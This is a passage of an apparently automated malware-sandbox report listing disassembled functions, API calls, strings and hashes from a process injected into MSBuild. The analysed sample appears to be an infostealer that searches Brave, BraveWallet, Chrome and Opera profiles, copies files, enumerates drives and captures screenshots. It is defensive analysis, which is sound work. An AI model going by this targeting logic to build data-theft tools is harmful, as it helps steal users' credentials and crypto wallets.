
Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B
Preferences, xrefs: 0040A023

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction ID: 8a2ad1bd3e2c4d0d486efa7587ece6a9db0f4abfd96dccfa14c2f17897de87a7
Opcode Fuzzy Hash: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction Fuzzy Hash: 01422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6CA635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
__aulldiv.LIBCMT ref: 6CA636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA63773
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA6377E
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA637C4
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA637CB
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA63801
__aulldiv.LIBCMT ref: 6CA63883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA63902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA63918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA6394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CA635DB
AuthcAMDenti, xrefs: 6CA63946
QPC, xrefs: 6CA638FC
GenuntelineI, xrefs: 6CA63639
GTC, xrefs: 6CA63912

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction ID: 0b3ff63f825db01b3d1e5c401eb1f33a186228853fef750ff0d2da2d8956aca6
Opcode Fuzzy Hash: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction Fuzzy Hash: F3B1CD71B093429BDB4CDF29D85465ABBF5EB8E700F04CA2EE899D3790D73099429BC1

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction ID: 9080a14a7b67b64276011378d573b50c5804aa148f90a951dd897f4284ecdc2d
Opcode Fuzzy Hash: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction Fuzzy Hash: F181277190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE79AB898F94

Function 0041C5BC Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 0041C66F
UT, xrefs: 0041C8E7

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction ID: b3d1b60dab8e0bcc10452ebd26db77d20d631ca931f269cc1acdcf5005af41f2
Opcode Fuzzy Hash: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction Fuzzy Hash: 58027FB19442688BDF21CF68CC817EE7BB5AF45304F1440EAD949AB242D7389EC5CF99

Function 00401D80 Relevance: 25.0, APIs: 12, Strings: 2, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA58,0043AA5C,004369EE,004369EB,RzA,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA60), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA64), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA68,0043AA6C,?,0043AA70,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FE1: Sleep.KERNEL32(000003E8,?,?), ref: 00417048

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

RzA, xrefs: 00401D95
\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: RzA$\*.*
API String ID: 1475085387-2931902316
Opcode ID: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction ID: 03da2bfaf68b702303e35fd0d74e3e7e3015190b13afd2a7b28b66f7f795f994
Opcode Fuzzy Hash: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction Fuzzy Hash: 0F320E71A401299BCF21FB25DD4A6CD7375AF04308F5110EAB548771A1DBB8AFC98F98

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction ID: c6faaab440129de230cebaac92a1e8070c51ab0758410070003a9ef401c88f04
Opcode Fuzzy Hash: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction Fuzzy Hash: D651EA72800218AFDF15EFA1ED498EE7FBAFF08315F045425F901E2120E7369A55DB61

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction ID: 76e3a8217d52045138f56763d93bdd20641e6c073ea1ff4e423c555a608dce29
Opcode Fuzzy Hash: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction Fuzzy Hash: 85514FB190021D9BCF64DF60CC89AC9B7BDAB49305F1045E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera, xrefs: 0040C083
\*.*, xrefs: 0040BF73
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction ID: ed30aa09c5327c7eb0f5e5fa2ee104661cc823cc12f6b76a5c8c5369fc0deaad
Opcode Fuzzy Hash: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction Fuzzy Hash: AE021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

*%DRIVE_REMOVABLE%*, xrefs: 0041518F
*%DRIVE_FIXED%*, xrefs: 0041515E
%DRIVE_FIXED%, xrefs: 00415230
%DRIVE_REMOVABLE%, xrefs: 00415215

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
